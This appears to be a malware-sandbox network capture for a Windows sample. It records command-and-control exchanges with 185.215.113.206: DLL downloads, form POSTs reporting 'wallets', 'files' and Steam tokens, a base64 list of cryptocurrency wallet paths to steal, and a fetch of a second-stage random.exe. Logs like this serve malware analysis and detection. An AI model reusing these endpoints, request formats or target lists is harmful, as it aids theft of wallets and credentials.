Nov 20, 2024 18:57:48.161598921 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 18:57:51.528290033 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 18:57:52.016298056 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 18:57:52.703021049 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 18:57:53.160644054 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 18:57:53.882793903 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 18:57:54.856077909 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:54.976305008 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="message"wallets------GIIIIJDHJEGIECBGHIJE--
Nov 20, 2024 18:57:55.440881014 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 18:57:55.443732977 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 2d 2d 0d 0a Data Ascii: ------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="message"files------GIJECGDGCBKECAKFBGCA--
Nov 20, 2024 18:57:55.902426004 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:55.915744066 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJJDGHCBGDHIECBGIDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="file"------GHJJDGHCBGDHIECBGIDA--
Nov 20, 2024 18:57:56.888799906 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:56.961558104 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"ybncbhylepme------JKFCBAEHCAEGDHJKFHJK--
Nov 20, 2024 18:57:57.432578087 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49929	185.215.113.16	80	7404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:57:57.693681955 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 18:57:59.036828995 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 17:57:58 GMT Content-Type: application/octet-stream Content-Length: 1902080 Last-Modified: Wed, 20 Nov 2024 17:35:57 GMT Connection: keep-alive ETag: "673e1dfd-1d0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@Kq@WkHTgKgK @.rsrcH@.idata @ *@bwinbwch1@iplgynhmpK@.taggant0K"@
Nov 20, 2024 18:57:59.036864042 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:57:59.037862062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:57:59.037918091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:57:59.037923098 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:57:59.038383961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:57:59.038434982 CET	1236	IN	Data Raw: 51 aa 69 4d 50 44 c3 eb d6 fb b3 50 52 4f ae 24 1f 9b b3 ec 41 ce 97 48 82 d9 48 1d 94 97 d5 af 42 4b c2 2b 5b c7 51 1c 40 9f b5 2a df 3f d3 2c 0e c9 c4 1c 18 ef 80 e4 7f 0b 60 c2 d0 9b cb 6b ed fb 82 00 58 1b b5 16 9f 3f b3 6c 51 4e 3d 7a 89 8b Data Ascii: QiMPDPRO$AHHBK+[Q@?,`kX?lQN=z-(dZ${@"_?Al$}3ls9:)DE@Hs{bG9,epuOt0D0?;\|Ybzzn4q)RXv A+L3@DTa=
Nov 20, 2024 18:57:59.038445950 CET	248	IN	Data Raw: 73 27 e2 68 0c 73 8f 58 e6 a3 fa 9d 1a 8a 98 9c e7 bd be c8 25 ab bf 0c 86 7a 07 84 f3 ed c6 66 f9 f4 fd 3c b6 b0 37 2b 1d c5 f5 bb fc 83 e2 9b 24 58 d3 ec dc a8 97 c1 54 fd f5 0c 76 06 6c d7 60 83 c9 db e0 99 e9 f1 11 20 ba 25 8e eb 4f c1 61 5c Data Ascii: s'hsX%zf<7+$XTvl` %Oa\]fiLS9_2T1z!VeCuiKesGeFC)FXBp7qBD'.FKS[xli&H00N[l5JXrufN4Swf
Nov 20, 2024 18:57:59.039179087 CET	1236	IN	Data Raw: 64 8e 69 2a 35 f3 0b 6b 63 b9 b1 a0 fc 3c c9 90 25 27 59 38 4b 3e 00 5f a3 0b 08 6c 50 de 32 d8 b5 8c 1c 46 33 8b c0 37 ae b3 80 c1 59 83 fa 8f 80 e2 f0 16 80 bf cb 21 56 e8 8a 45 62 92 71 90 48 f9 c4 b5 7c 3b 85 77 c9 3d b5 1b fa 4b 11 63 52 77 Data Ascii: di5kc<%'Y8K>_lP2F37Y!VEbqH\|;w=KcRw-0Mc~<uLd"b]fG@;_=F>A.TksUJ0dr^O7G>B+JDdL{LU$f\|G\sI8zV
Nov 20, 2024 18:57:59.039247036 CET	1236	IN	Data Raw: 8e ba 59 06 6a 1b e3 9c 8d 35 18 8c 85 f8 32 ea f0 6f 63 2b 1c 8f b7 c0 d7 d9 30 e0 22 15 28 28 fe 5b b7 14 a1 b3 84 f6 97 e9 b6 69 01 a4 a5 cc c4 2c 80 2e a7 b8 18 c2 30 ba ed 44 b7 d3 24 93 59 ed c2 91 a8 ff 62 cc 5f 53 5b b7 d1 0d 2d 3e e9 a0 Data Ascii: Yj52oc+0"(([i,.0D$Yb_S[->$[u=YrFia0`ly"c'a=_nNElA,,[F-u2(lR^F8hsGJ,N#.fx($f}ZnB2\WZ
Nov 20, 2024 18:57:59.157155037 CET	1236	IN	Data Raw: 12 2f b0 7d 02 b9 9d 51 57 98 4c 1a c9 4b 96 c1 3e fd f1 3e 9e 36 86 9a 91 c9 e9 c1 b8 78 08 47 d1 bb b3 07 24 86 30 a4 98 41 f3 8f 38 c1 b5 4e 35 3c d6 17 e1 19 e5 1a 0d f6 ca 22 8f 04 11 d4 5c be 0f c5 9f bf 9f ff 3a 7e 7c 51 27 53 8b 2b 76 51 Data Ascii: /}QWLK>>6xG$0A8N5<"\:~\|Q'S+vQ<\d ZT+`!Sx~xtb/]}[4H<>qcM+lSx%I&J>_EBGVoPDjTw@cs~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49942	185.215.113.206	80	7404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:58:02.759444952 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 2d 2d 0d 0a Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGIJJKKJJDAAAAAKFHJJ--
